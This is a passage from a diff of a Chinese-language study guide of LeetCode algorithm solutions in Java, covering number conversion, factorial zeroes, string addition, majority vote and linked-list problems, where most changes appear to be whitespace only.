+        sb.append(map[num & 0b1111]);
+        num >>>= 4; // 因为考虑的是补码形式，因此符号位就不能有特殊的意义，需要使用无符号右移，左边填 0
+    }
+    return sb.reverse().toString();
 }
 ```
 
-**26 进制**
+**26 进制** 
 
-[168. Excel Sheet Column Title (Easy)](https://leetcode.com/problems/excel-sheet-column-title/description/)
+[168. Excel Sheet Column Title (Easy)](https://leetcode.com/problems/excel-sheet-column-title/description/)
 
 ```html
-1 -> A
-2 -> B
-3 -> C
+1 -> A
+2 -> B
+3 -> C
 ...
-26 -> Z
-27 -> AA
-28 -> AB
+26 -> Z
+27 -> AA
+28 -> AB
 ```
 
-因为是从 1 开始计算的，而不是从 0 开始，因此需要对 n 执行 -1 操作。
+因为是从 1 开始计算的，而不是从 0 开始，因此需要对 n 执行 -1 操作。
 
 ```java
-public String convertToTitle(int n) {
-    if (n == 0) {
-        return "";
-    }
-    n--;
-    return convertToTitle(n / 26) + (char) (n % 26 + 'A');
+public String convertToTitle(int n) {
+    if (n == 0) {
+        return "";
+    }
+    n--;
+    return convertToTitle(n / 26) + (char) (n % 26 + 'A');
 }
 ```
 
-### 阶乘
+### 阶乘
 
-**统计阶乘尾部有多少个 0**
+**统计阶乘尾部有多少个 0** 
 
-[172. Factorial Trailing Zeroes (Easy)](https://leetcode.com/problems/factorial-trailing-zeroes/description/)
+[172. Factorial Trailing Zeroes (Easy)](https://leetcode.com/problems/factorial-trailing-zeroes/description/)
 
-尾部的 0 由 2 * 5 得来，2 的数量明显多于 5 的数量，因此只要统计有多少个 5 即可。
+尾部的 0 由 2 * 5 得来，2 的数量明显多于 5 的数量，因此只要统计有多少个 5 即可。
 
-对于一个数 N，它所包含 5 的个数为：N/5 + N/5<sup>2</sup> + N/5<sup>3</sup> + ...，其中 N/5 表示不大于 N 的数中 5 的倍数贡献一个 5，N/5<sup>2</sup> 表示不大于 N 的数中 5<sup>2</sup> 的倍数再贡献一个 5 ...。
+对于一个数 N，它所包含 5 的个数为：N/5 + N/5<sup>2</sup> + N/5<sup>3</sup> + ...，其中 N/5 表示不大于 N 的数中 5 的倍数贡献一个 5，N/5<sup>2</sup> 表示不大于 N 的数中 5<sup>2</sup> 的倍数再贡献一个 5 ...。
 
 ```java
-public int trailingZeroes(int n) {
-    return n == 0 ? 0 : n / 5 + trailingZeroes(n / 5);
+public int trailingZeroes(int n) {
+    return n == 0 ? 0 : n / 5 + trailingZeroes(n / 5);
 }
 ```
 
-如果统计的是 N! 的二进制表示中最低位 1 的位置，只要统计有多少个 2 即可，该题目出自 [编程之美：2.2](#) 。和求解有多少个 5 一样，2 的个数为 N/2 + N/2<sup>2</sup> + N/2<sup>3</sup> + ...
+如果统计的是 N! 的二进制表示中最低位 1 的位置，只要统计有多少个 2 即可，该题目出自 [编程之美：2.2](#) 。和求解有多少个 5 一样，2 的个数为 N/2 + N/2<sup>2</sup> + N/2<sup>3</sup> + ...
 
-### 字符串加法减法
+### 字符串加法减法
 
-**二进制加法**
+**二进制加法** 
 
-[67. Add Binary (Easy)](https://leetcode.com/problems/add-binary/description/)
+[67. Add Binary (Easy)](https://leetcode.com/problems/add-binary/description/)
 
 ```html
-a = "11"
-b = "1"
-Return "100".
+a = "11"
+b = "1"
+Return "100".
 ```
 
 ```java
-public String addBinary(String a, String b) {
-    int i = a.length() - 1, j = b.length() - 1, carry = 0;
-    StringBuilder str = new StringBuilder();
-    while (carry == 1 || i >= 0 || j >= 0) {
-        if (i >= 0 && a.charAt(i--) == '1') {
-            carry++;
-        }
-        if (j >= 0 && b.charAt(j--) == '1') {
-            carry++;
-        }
-        str.append(carry % 2);
-        carry /= 2;
-    }
-    return str.reverse().toString();
+public String addBinary(String a, String b) {
+    int i = a.length() - 1, j = b.length() - 1, carry = 0;
+    StringBuilder str = new StringBuilder();
+    while (carry == 1 || i >= 0 || j >= 0) {
+        if (i >= 0 && a.charAt(i--) == '1') {
+            carry++;
+        }
+        if (j >= 0 && b.charAt(j--) == '1') {
+            carry++;
+        }
+        str.append(carry % 2);
+        carry /= 2;
+    }
+    return str.reverse().toString();
 }
 ```
 
-**字符串加法**
+**字符串加法** 
 
-[415. Add Strings (Easy)](https://leetcode.com/problems/add-strings/description/)
+[415. Add Strings (Easy)](https://leetcode.com/problems/add-strings/description/)
 
 字符串的值为非负整数。
 
 ```java
-public String addStrings(String num1, String num2) {
-    StringBuilder str = new StringBuilder();
-    int carry = 0, i = num1.length() - 1, j = num2.length() - 1;
-    while (carry == 1 || i >= 0 || j >= 0) {
-        int x = i < 0 ? 0 : num1.charAt(i--) - '0';
-        int y = j < 0 ? 0 : num2.charAt(j--) - '0';
-        str.append((x + y + carry) % 10);
-        carry = (x + y + carry) / 10;
-    }
-    return str.reverse().toString();
+public String addStrings(String num1, String num2) {
+    StringBuilder str = new StringBuilder();
+    int carry = 0, i = num1.length() - 1, j = num2.length() - 1;
+    while (carry == 1 || i >= 0 || j >= 0) {
+        int x = i < 0 ? 0 : num1.charAt(i--) - '0';
+        int y = j < 0 ? 0 : num2.charAt(j--) - '0';
+        str.append((x + y + carry) % 10);
+        carry = (x + y + carry) / 10;
+    }
+    return str.reverse().toString();
 }
 ```
 
-### 相遇问题
+### 相遇问题
 
-**改变数组元素使所有的数组元素都相等**
+**改变数组元素使所有的数组元素都相等** 
 
-[462. Minimum Moves to Equal Array Elements II (Medium)](https://leetcode.com/problems/minimum-moves-to-equal-array-elements-ii/description/)
+[462. Minimum Moves to Equal Array Elements II (Medium)](https://leetcode.com/problems/minimum-moves-to-equal-array-elements-ii/description/)
 
 ```html
 Input:
@@ -3756,1370 +3812,1370 @@ Output:
 2
 
 Explanation:
-Only two moves are needed (remember each move increments or decrements one element):
+Only two moves are needed (remember each move increments or decrements one element):
 
-[1,2,3]  =>  [2,2,3]  =>  [2,2,2]
+[1,2,3]  =>  [2,2,3]  =>  [2,2,2]
 ```
 
 每次可以对一个数组元素加一或者减一，求最小的改变次数。
 
 这是个典型的相遇问题，移动距离最小的方式是所有元素都移动到中位数。理由如下：
 
-设 m 为中位数。a 和 b 是 m 两边的两个元素，且 b > a。要使 a 和 b 相等，它们总共移动的次数为 b - a，这个值等于 (b - m) + (m - a)，也就是把这两个数移动到中位数的移动次数。
+设 m 为中位数。a 和 b 是 m 两边的两个元素，且 b > a。要使 a 和 b 相等，它们总共移动的次数为 b - a，这个值等于 (b - m) + (m - a)，也就是把这两个数移动到中位数的移动次数。
 
-设数组长度为 N，则可以找到 N/2 对 a 和 b 的组合，使它们都移动到 m 的位置。
+设数组长度为 N，则可以找到 N/2 对 a 和 b 的组合，使它们都移动到 m 的位置。
 
-**解法 1**
+**解法 1** 
 
 先排序，时间复杂度：O(NlogN)
 
 ```java
-public int minMoves2(int[] nums) {
-    Arrays.sort(nums);
-    int move = 0;
-    int l = 0, h = nums.length - 1;
-    while (l <= h) {
-        move += nums[h] - nums[l];
-        l++;
-        h--;
-    }
-    return move;
+public int minMoves2(int[] nums) {
+    Arrays.sort(nums);
+    int move = 0;
+    int l = 0, h = nums.length - 1;
+    while (l <= h) {
+        move += nums[h] - nums[l];
+        l++;
+        h--;
+    }
+    return move;
 }
 ```
 
-**解法 2**
+**解法 2** 
 
-使用快速选择找到中位数，时间复杂度 O(N)
+使用快速选择找到中位数，时间复杂度 O(N)
 
 ```java
-public int minMoves2(int[] nums) {
-    int move = 0;
-    int median = findKthSmallest(nums, nums.length / 2);
-    for (int num : nums) {
-        move += Math.abs(num - median);
-    }
-    return move;
+public int minMoves2(int[] nums) {
+    int move = 0;
+    int median = findKthSmallest(nums, nums.length / 2);
+    for (int num : nums) {
+        move += Math.abs(num - median);
+    }
+    return move;
 }
 
-private int findKthSmallest(int[] nums, int k) {
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int j = partition(nums, l, h);
-        if (j == k) {
-            break;
-        }
-        if (j < k) {
-            l = j + 1;
-        } else {
-            h = j - 1;
-        }
-    }
-    return nums[k];
+private int findKthSmallest(int[] nums, int k) {
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int j = partition(nums, l, h);
+        if (j == k) {
+            break;
+        }
+        if (j < k) {
+            l = j + 1;
+        } else {
+            h = j - 1;
+        }
+    }
+    return nums[k];
 }
 
-private int partition(int[] nums, int l, int h) {
-    int i = l, j = h + 1;
-    while (true) {
-        while (nums[++i] < nums[l] && i < h) ;
-        while (nums[--j] > nums[l] && j > l) ;
-        if (i >= j) {
-            break;
-        }
-        swap(nums, i, j);
-    }
-    swap(nums, l, j);
-    return j;
+private int partition(int[] nums, int l, int h) {
+    int i = l, j = h + 1;
+    while (true) {
+        while (nums[++i] < nums[l] && i < h) ;
+        while (nums[--j] > nums[l] && j > l) ;
+        if (i >= j) {
+            break;
+        }
+        swap(nums, i, j);
+    }
+    swap(nums, l, j);
+    return j;
 }
 
-private void swap(int[] nums, int i, int j) {
-    int tmp = nums[i];
-    nums[i] = nums[j];
-    nums[j] = tmp;
+private void swap(int[] nums, int i, int j) {
+    int tmp = nums[i];
+    nums[i] = nums[j];
+    nums[j] = tmp;
 }
 ```
 
-### 多数投票问题
+### 多数投票问题
 
-**数组中出现次数多于 n / 2 的元素**
+**数组中出现次数多于 n / 2 的元素** 
 
-[169. Majority Element (Easy)](https://leetcode.com/problems/majority-element/description/)
+[169. Majority Element (Easy)](https://leetcode.com/problems/majority-element/description/)
 
-先对数组排序，最中间那个数出现次数一定多于 n / 2。
+先对数组排序，最中间那个数出现次数一定多于 n / 2。
 
 ```java
-public int majorityElement(int[] nums) {
-    Arrays.sort(nums);
-    return nums[nums.length / 2];
+public int majorityElement(int[] nums) {
+    Arrays.sort(nums);
+    return nums[nums.length / 2];
 }
 ```
 
-可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题，使得时间复杂度为 O(N)。可以这么理解该算法：使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素不相等时，令 cnt--。如果前面查找了 i 个元素，且 cnt == 0，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2，因为如果多于 i / 2 的话 cnt 就一定不会为 0。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
+可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题，使得时间复杂度为 O(N)。可以这么理解该算法：使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素不相等时，令 cnt--。如果前面查找了 i 个元素，且 cnt == 0，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2，因为如果多于 i / 2 的话 cnt 就一定不会为 0。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
 
 ```java
-public int majorityElement(int[] nums) {
-    int cnt = 0, majority = nums[0];
-    for (int num : nums) {
-        majority = (cnt == 0) ? num : majority;
-        cnt = (majority == num) ? cnt + 1 : cnt - 1;
-    }
-    return majority;
+public int majorityElement(int[] nums) {
+    int cnt = 0, majority = nums[0];
+    for (int num : nums) {
+        majority = (cnt == 0) ? num : majority;
+        cnt = (majority == num) ? cnt + 1 : cnt - 1;
+    }
+    return majority;
 }
 ```
 
-### 其它
+### 其它
 
-**平方数**
+**平方数** 
 
-[367. Valid Perfect Square (Easy)](https://leetcode.com/problems/valid-perfect-square/description/)
+[367. Valid Perfect Square (Easy)](https://leetcode.com/problems/valid-perfect-square/description/)
 
 ```html
-Input: 16
-Returns: True
+Input: 16
+Returns: True
 ```
 
 平方序列：1,4,9,16,..
 
 间隔：3,5,7,...
 
-间隔为等差数列，使用这个特性可以得到从 1 开始的平方序列。
+间隔为等差数列，使用这个特性可以得到从 1 开始的平方序列。
 
 ```java
-public boolean isPerfectSquare(int num) {
-    int subNum = 1;
-    while (num > 0) {
-        num -= subNum;
-        subNum += 2;
-    }
-    return num == 0;
+public boolean isPerfectSquare(int num) {
+    int subNum = 1;
+    while (num > 0) {
+        num -= subNum;
+        subNum += 2;
+    }
+    return num == 0;
 }
 ```
 
-**3 的 n 次方**
+**3 的 n 次方** 
 
-[326. Power of Three (Easy)](https://leetcode.com/problems/power-of-three/description/)
+[326. Power of Three (Easy)](https://leetcode.com/problems/power-of-three/description/)
 
 ```java
-public boolean isPowerOfThree(int n) {
-    return n > 0 && (1162261467 % n == 0);
+public boolean isPowerOfThree(int n) {
+    return n > 0 && (1162261467 % n == 0);
 }
 ```
 
-**乘积数组**
+**乘积数组** 
 
-[238. Product of Array Except Self (Medium)](https://leetcode.com/problems/product-of-array-except-self/description/)
+[238. Product of Array Except Self (Medium)](https://leetcode.com/problems/product-of-array-except-self/description/)
 
 ```html
-For example, given [1,2,3,4], return [24,12,8,6].
+For example, given [1,2,3,4], return [24,12,8,6].
 ```
 
 给定一个数组，创建一个新数组，新数组的每个元素为原始数组中除了该位置上的元素之外所有元素的乘积。
 
-要求时间复杂度为 O(N)，并且不能使用除法。
+要求时间复杂度为 O(N)，并且不能使用除法。
 
 ```java
-public int[] productExceptSelf(int[] nums) {
-    int n = nums.length;
-    int[] products = new int[n];
-    Arrays.fill(products, 1);
-    int left = 1;
-    for (int i = 1; i < n; i++) {
-        left *= nums[i - 1];
-        products[i] *= left;
-    }
-    int right = 1;
-    for (int i = n - 2; i >= 0; i--) {
-        right *= nums[i + 1];
-        products[i] *= right;
-    }
-    return products;
+public int[] productExceptSelf(int[] nums) {
+    int n = nums.length;
+    int[] products = new int[n];
+    Arrays.fill(products, 1);
+    int left = 1;
+    for (int i = 1; i < n; i++) {
+        left *= nums[i - 1];
+        products[i] *= left;
+    }
+    int right = 1;
+    for (int i = n - 2; i >= 0; i--) {
+        right *= nums[i + 1];
+        products[i] *= right;
+    }
+    return products;
 }
 ```
 
-**找出数组中的乘积最大的三个数**
+**找出数组中的乘积最大的三个数** 
 
-[628. Maximum Product of Three Numbers (Easy)](https://leetcode.com/problems/maximum-product-of-three-numbers/description/)
+[628. Maximum Product of Three Numbers (Easy)](https://leetcode.com/problems/maximum-product-of-three-numbers/description/)
 
 ```html
-Input: [1,2,3,4]
-Output: 24
+Input: [1,2,3,4]
+Output: 24
 ```
 
 ```java
-public int maximumProduct(int[] nums) {
-    int max1 = Integer.MIN_VALUE, max2 = Integer.MIN_VALUE, max3 = Integer.MIN_VALUE, min1 = Integer.MAX_VALUE, min2 = Integer.MAX_VALUE;
-    for (int n : nums) {
-        if (n > max1) {
-            max3 = max2;
-            max2 = max1;
-            max1 = n;
-        } else if (n > max2) {
-            max3 = max2;
-            max2 = n;
-        } else if (n > max3) {
-            max3 = n;
-        }
+public int maximumProduct(int[] nums) {
+    int max1 = Integer.MIN_VALUE, max2 = Integer.MIN_VALUE, max3 = Integer.MIN_VALUE, min1 = Integer.MAX_VALUE, min2 = Integer.MAX_VALUE;
+    for (int n : nums) {
+        if (n > max1) {
+            max3 = max2;
+            max2 = max1;
+            max1 = n;
+        } else if (n > max2) {
+            max3 = max2;
+            max2 = n;
+        } else if (n > max3) {
+            max3 = n;
+        }
 
-        if (n < min1) {
-            min2 = min1;
-            min1 = n;
-        } else if (n < min2) {
-            min2 = n;
-        }
-    }
-    return Math.max(max1*max2*max3, max1*min1*min2);
+        if (n < min1) {
+            min2 = min1;
+            min1 = n;
+        } else if (n < min2) {
+            min2 = n;
+        }
+    }
+    return Math.max(max1*max2*max3, max1*min1*min2);
 }
 ```
 
-# 数据结构相关
+# 数据结构相关
 
-## 链表
+## 链表
 
 链表是空节点，或者有一个值和一个指向下一个链表的指针，因此很多链表问题可以用递归来处理。
 
-**找出两个链表的交点**
+**找出两个链表的交点** 
 
-[160. Intersection of Two Linked Lists (Easy)](https://leetcode.com/problems/intersection-of-two-linked-lists/description/)
+[160. Intersection of Two Linked Lists (Easy)](https://leetcode.com/problems/intersection-of-two-linked-lists/description/)
 
 ```html
-A:          a1 → a2
-                    ↘
-                      c1 → c2 → c3
-                    ↗
-B:    b1 → b2 → b3
+A:          a1 → a2
+                    ↘
+                      c1 → c2 → c3
+                    ↗
+B:    b1 → b2 → b3
 ```
 
-要求：时间复杂度为 O(N)，空间复杂度为 O(1)
+要求：时间复杂度为 O(N)，空间复杂度为 O(1)
 
-设 A 的长度为 a + c，B 的长度为 b + c，其中 c 为尾部公共部分长度，可知 a + c + b = b + c + a。
+设 A 的长度为 a + c，B 的长度为 b + c，其中 c 为尾部公共部分长度，可知 a + c + b = b + c + a。
 
-当访问 A 链表的指针访问到链表尾部时，令它从链表 B 的头部开始访问链表 B；同样地，当访问 B 链表的指针访问到链表尾部时，令它从链表 A 的头部开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。
+当访问 A 链表的指针访问到链表尾部时，令它从链表 B 的头部开始访问链表 B；同样地，当访问 B 链表的指针访问到链表尾部时，令它从链表 A 的头部开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。
 
 ```java
-public ListNode getIntersectionNode(ListNode headA, ListNode headB) {
-    ListNode l1 = headA, l2 = headB;
-    while (l1 != l2) {
-        l1 = (l1 == null) ? headB : l1.next;
-        l2 = (l2 == null) ? headA : l2.next;
-    }
-    return l1;
+public ListNode getIntersectionNode(ListNode headA, ListNode headB) {
+    ListNode l1 = headA, l2 = headB;
+    while (l1 != l2) {
+        l1 = (l1 == null) ? headB : l1.next;
+        l2 = (l2 == null) ? headA : l2.next;
+    }
+    return l1;
 }
 ```
 
-如果只是判断是否存在交点，那么就是另一个问题，即 [编程之美 3.6]() 的问题。有两种解法：
+如果只是判断是否存在交点，那么就是另一个问题，即 [编程之美 3.6]() 的问题。有两种解法：
 
-- 把第一个链表的结尾连接到第二个链表的开头，看第二个链表是否存在环；
-- 或者直接比较两个链表的最后一个节点是否相同。
+- 把第一个链表的结尾连接到第二个链表的开头，看第二个链表是否存在环；
+- 或者直接比较两个链表的最后一个节点是否相同。
 
-**链表反转**
+**链表反转** 
 
-[206. Reverse Linked List (Easy)](https://leetcode.com/problems/reverse-linked-list/description/)
+[206. Reverse Linked List (Easy)](https://leetcode.com/problems/reverse-linked-list/description/)
 
 递归
 
 ```java
-public ListNode reverseList(ListNode head) {
-    if (head == null || head.next == null) {
-        return head;
-    }
-    ListNode next = head.next;
-    ListNode newHead = reverseList(next);
-    next.next = head;
-    head.next = null;
-    return newHead;
+public ListNode reverseList(ListNode head) {
+    if (head == null || head.next == null) {
+        return head;
+    }
+    ListNode next = head.next;
+    ListNode newHead = reverseList(next);
+    next.next = head;
+    head.next = null;
+    return newHead;
 }
 ```
 
 头插法
 
 ```java
-public ListNode reverseList(ListNode head) {
-    ListNode newHead = new ListNode(-1);
-    while (head != null) {
-        ListNode next = head.next;
-        head.next = newHead.next;
-        newHead.next = head;
-        head = next;
-    }
-    return newHead.next;
+public ListNode reverseList(ListNode head) {
+    ListNode newHead = new ListNode(-1);
+    while (head != null) {
+        ListNode next = head.next;
+        head.next = newHead.next;
+        newHead.next = head;
+        head = next;
+    }
+    return newHead.next;
 }
 ```
 
-**归并两个有序的链表**
+**归并两个有序的链表** 
 
-[21. Merge Two Sorted Lists (Easy)](https://leetcode.com/problems/merge-two-sorted-lists/description/)
+[21. Merge Two Sorted Lists (Easy)](https://leetcode.com/problems/merge-two-sorted-lists/description/)
 
 ```java
-public ListNode mergeTwoLists(ListNode l1, ListNode l2) {
-    if (l1 == null) return l2;
-    if (l2 == null) return l1;
-    if (l1.val < l2.val) {
-        l1.next = mergeTwoLists(l1.next, l2);
-        return l1;
-    } else {
-        l2.next = mergeTwoLists(l1, l2.next);
-        return l2;
-    }
+public ListNode mergeTwoLists(ListNode l1, ListNode l2) {
+    if (l1 == null) return l2;
+    if (l2 == null) return l1;
+    if (l1.val < l2.val) {
+        l1.next = mergeTwoLists(l1.next, l2);
+        return l1;
+    } else {
+        l2.next = mergeTwoLists(l1, l2.next);
+        return l2;
+    }
 }
 ```
 
-**从有序链表中删除重复节点**
+**从有序链表中删除重复节点** 
 
-[83. Remove Duplicates from Sorted List (Easy)](https://leetcode.com/problems/remove-duplicates-from-sorted-list/description/)
+[83. Remove Duplicates from Sorted List (Easy)](https://leetcode.com/problems/remove-duplicates-from-sorted-list/description/)
 
 ```html
-Given 1->1->2, return 1->2.
-Given 1->1->2->3->3, return 1->2->3.
+Given 1->1->2, return 1->2.
+Given 1->1->2->3->3, return 1->2->3.
 ```
 
 ```java
-public ListNode deleteDuplicates(ListNode head) {
-    if (head == null || head.next == null) return head;
-    head.next = deleteDuplicates(head.next);
-    return head.val == head.next.val ? head.next : head;
+public ListNode deleteDuplicates(ListNode head) {
+    if (head == null || head.next == null) return head;
+    head.next = deleteDuplicates(head.next);
+    return head.val == head.next.val ? head.next : head;
 }
 ```
 
-**删除链表的倒数第 n 个节点**
+**删除链表的倒数第 n 个节点** 
 
-[19. Remove Nth Node From End of List (Medium)](https://leetcode.com/problems/remove-nth-node-from-end-of-list/description/)
+[19. Remove Nth Node From End of List (Medium)](https://leetcode.com/problems/remove-nth-node-from-end-of-list/description/)
 
 ```html
-Given linked list: 1->2->3->4->5, and n = 2.
-After removing the second node from the end, the linked list becomes 1->2->3->5.
+Given linked list: 1->2->3->4->5, and n = 2.
+After removing the second node from the end, the linked list becomes 1->2->3->5.
 ```
 
 ```java
-public ListNode removeNthFromEnd(ListNode head, int n) {
-    ListNode fast = head;
-    while (n-- > 0) {
-        fast = fast.next;
-    }
-    if (fast == null) return head.next;
-    ListNode slow = head;
-    while (fast.next != null) {
-        fast = fast.next;
-        slow = slow.next;
-    }
-    slow.next = slow.next.next;
-    return head;
+public ListNode removeNthFromEnd(ListNode head, int n) {
+    ListNode fast = head;
+    while (n-- > 0) {
+        fast = fast.next;
+    }
+    if (fast == null) return head.next;
+    ListNode slow = head;
+    while (fast.next != null) {
+        fast = fast.next;
+        slow = slow.next;
+    }
+    slow.next = slow.next.next;
+    return head;
 }
 ```
 
-**交换链表中的相邻结点**
+**交换链表中的相邻结点** 
 
-[24. Swap Nodes in Pairs (Medium)](https://leetcode.com/problems/swap-nodes-in-pairs/description/)
+[24. Swap Nodes in Pairs (Medium)](https://leetcode.com/problems/swap-nodes-in-pairs/description/)
 
 ```html
-Given 1->2->3->4, you should return the list as 2->1->4->3.
+Given 1->2->3->4, you should return the list as 2->1->4->3.
 ```
 
-题目要求：不能修改结点的 val 值，O(1) 空间复杂度。
+题目要求：不能修改结点的 val 值，O(1) 空间复杂度。
 
 ```java
-public ListNode swapPairs(ListNode head) {
-    ListNode node = new ListNode(-1);
-    node.next = head;
-    ListNode pre = node;
-    while (pre.next != null && pre.next.next != null) {
-        ListNode l1 = pre.next, l2 = pre.next.next;
-        ListNode next = l2.next;
-        l1.next = next;
-        l2.next = l1;
-        pre.next = l2;
+public ListNode swapPairs(ListNode head) {
+    ListNode node = new ListNode(-1);
+    node.next = head;
+    ListNode pre = node;
+    while (pre.next != null && pre.next.next != null) {
+        ListNode l1 = pre.next, l2 = pre.next.next;
+        ListNode next = l2.next;
+        l1.next = next;
+        l2.next = l1;
+        pre.next = l2;
 
-        pre = l1;
-    }
-    return node.next;
+        pre = l1;
+    }
+    return node.next;
 }
 ```
 
-**链表求和**
+**链表求和** 
 
-[445. Add Two Numbers II (Medium)](https://leetcode.com/problems/add-two-numbers-ii/description/)
+[445. Add Two Numbers II (Medium)](https://leetcode.com/problems/add-two-numbers-ii/description/)
 
 ```html
-Input: (7 -> 2 -> 4 -> 3) + (5 -> 6 -> 4)
-Output: 7 -> 8 -> 0 -> 7
+Input: (7 -> 2 -> 4 -> 3) + (5 -> 6 -> 4)
+Output: 7 -> 8 -> 0 -> 7
 ```
 
 题目要求：不能修改原始链表。
 
 ```java
-public ListNode addTwoNumbers(ListNode l1, ListNode l2) {
-    Stack<Integer> l1Stack = buildStack(l1);
-    Stack<Integer> l2Stack = buildStack(l2);
-    ListNode head = new ListNode(-1);
-    int carry = 0;
-    while (!l1Stack.isEmpty() || !l2Stack.isEmpty() || carry != 0) {
-        int x = l1Stack.isEmpty() ? 0 : l1Stack.pop();
-        int y = l2Stack.isEmpty() ? 0 : l2Stack.pop();
-        int sum = x + y + carry;
-        ListNode node = new ListNode(sum % 10);
-        node.next = head.next;
-        head.next = node;
-        carry = sum / 10;
-    }
-    return head.next;
+public ListNode addTwoNumbers(ListNode l1, ListNode l2) {
+    Stack<Integer> l1Stack = buildStack(l1);
+    Stack<Integer> l2Stack = buildStack(l2);
+    ListNode head = new ListNode(-1);
+    int carry = 0;
+    while (!l1Stack.isEmpty() || !l2Stack.isEmpty() || carry != 0) {
+        int x = l1Stack.isEmpty() ? 0 : l1Stack.pop();
+        int y = l2Stack.isEmpty() ? 0 : l2Stack.pop();
+        int sum = x + y + carry;
+        ListNode node = new ListNode(sum % 10);
+        node.next = head.next;
+        head.next = node;
+        carry = sum / 10;
+    }
+    return head.next;
 }
 
-private Stack<Integer> buildStack(ListNode l) {
-    Stack<Integer> stack = new Stack<>();
-    while (l != null) {
-        stack.push(l.val);
-        l = l.next;
-    }
-    return stack;
+private Stack<Integer> buildStack(ListNode l) {
+    Stack<Integer> stack = new Stack<>();
+    while (l != null) {
+        stack.push(l.val);
+        l = l.next;
+    }
+    return stack;
 }
 ```
 
-**回文链表**
+**回文链表** 
 
-[234. Palindrome Linked List (Easy)](https://leetcode.com/problems/palindrome-linked-list/description/)
+[234. Palindrome Linked List (Easy)](https://leetcode.com/problems/palindrome-linked-list/description/)
 
-题目要求：以 O(1) 的空间复杂度来求解。
+题目要求：以 O(1) 的空间复杂度来求解。
 
 切成两半，把后半段反转，然后比较两半是否相等。
 
 ```java
-public boolean isPalindrome(ListNode head) {
-    if (head == null || head.next == null) return true;
-    ListNode slow = head, fast = head.next;
-    while (fast != null && fast.next != null) {
-        slow = slow.next;
-        fast = fast.next.next;
-    }
-    if (fast != null) slow = slow.next;  // 偶数节点，让 slow 指向下一个节点
-    cut(head, slow);                     // 切成两个链表
-    return isEqual(head, reverse(slow));
+public boolean isPalindrome(ListNode head) {
+    if (head == null || head.next == null) return true;
+    ListNode slow = head, fast = head.next;
+    while (fast != null && fast.next != null) {
+        slow = slow.next;
+        fast = fast.next.next;
+    }
+    if (fast != null) slow = slow.next;  // 偶数节点，让 slow 指向下一个节点
+    cut(head, slow);                     // 切成两个链表
+    return isEqual(head, reverse(slow));
 }
 
-private void cut(ListNode head, ListNode cutNode) {
-    while (head.next != cutNode) {
-        head = head.next;
-    }
-    head.next = null;
+private void cut(ListNode head, ListNode cutNode) {
+    while (head.next != cutNode) {
+        head = head.next;
+    }
+    head.next = null;
 }
 
-private ListNode reverse(ListNode head) {
-    ListNode newHead = null;
-    while (head != null) {
-        ListNode nextNode = head.next;
-        head.next = newHead;
-        newHead = head;
-        head = nextNode;
-    }
-    return newHead;
+private ListNode reverse(ListNode head) {
+    ListNode newHead = null;
+    while (head != null) {
+        ListNode nextNode = head.next;
+        head.next = newHead;
+        newHead = head;
+        head = nextNode;
+    }
+    return newHead;
 }
 
-private boolean isEqual(ListNode l1, ListNode l2) {
-    while (l1 != null && l2 != null) {
-        if (l1.val != l2.val) return false;
-        l1 = l1.next;
-        l2 = l2.next;
-    }
-    return true;
+private boolean isEqual(ListNode l1, ListNode l2) {
+    while (l1 != null && l2 != null) {
+        if (l1.val != l2.val) return false;
+        l1 = l1.next;
+        l2 = l2.next;
+    }
+    return true;
 }
 ```
 
-**分隔链表**
+**分隔链表** 
 
-[725. Split Linked List in Parts(Medium)](https://leetcode.com/problems/split-linked-list-in-parts/description/)
+[725. Split Linked List in Parts(Medium)](https://leetcode.com/problems/split-linked-list-in-parts/description/)
 
 ```html
 Input:
-root = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], k = 3
-Output: [[1, 2, 3, 4], [5, 6, 7], [8, 9, 10]]
+root = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], k = 3
+Output: [[1, 2, 3, 4], [5, 6, 7], [8, 9, 10]]
 Explanation:
-The input has been split into consecutive parts with size difference at most 1, and earlier parts are a larger size than the later parts.
+The input has been split into consecutive parts with size difference at most 1, and earlier parts are a larger size than the later parts.
 ```
 
-题目描述：把链表分隔成 k 部分，每部分的长度都应该尽可能相同，排在前面的长度应该大于等于后面的。
+题目描述：把链表分隔成 k 部分，每部分的长度都应该尽可能相同，排在前面的长度应该大于等于后面的。
 
 ```java
-public ListNode[] splitListToParts(ListNode root, int k) {
-    int N = 0;
-    ListNode cur = root;
-    while (cur != null) {
-        N++;
-        cur = cur.next;
-    }
-    int mod = N % k;
-    int size = N / k;
-    ListNode[] ret = new ListNode[k];
-    cur = root;
-    for (int i = 0; cur != null && i < k; i++) {
-        ret[i] = cur;
-        int curSize = size + (mod-- > 0 ? 1 : 0);
-        for (int j = 0; j < curSize - 1; j++) {
-            cur = cur.next;
-        }
-        ListNode next = cur.next;
-        cur.next = null;
-        cur = next;
-    }
-    return ret;
+public ListNode[] splitListToParts(ListNode root, int k) {
+    int N = 0;
+    ListNode cur = root;
+    while (cur != null) {
+        N++;
+        cur = cur.next;
+    }
+    int mod = N % k;
+    int size = N / k;
+    ListNode[] ret = new ListNode[k];
+    cur = root;
+    for (int i = 0; cur != null && i < k; i++) {
+        ret[i] = cur;
+        int curSize = size + (mod-- > 0 ? 1 : 0);
+        for (int j = 0; j < curSize - 1; j++) {
+            cur = cur.next;
+        }
+        ListNode next = cur.next;
+        cur.next = null;
+        cur = next;
+    }
+    return ret;
 }
 ```
 
-**链表元素按奇偶聚集**
+**链表元素按奇偶聚集** 
 
-[328. Odd Even Linked List (Medium)](https://leetcode.com/problems/odd-even-linked-list/description/)
+[328. Odd Even Linked List (Medium)](https://leetcode.com/problems/odd-even-linked-list/description/)
 
 ```html
 Example:
-Given 1->2->3->4->5->NULL,
-return 1->3->5->2->4->NULL.
+Given 1->2->3->4->5->NULL,
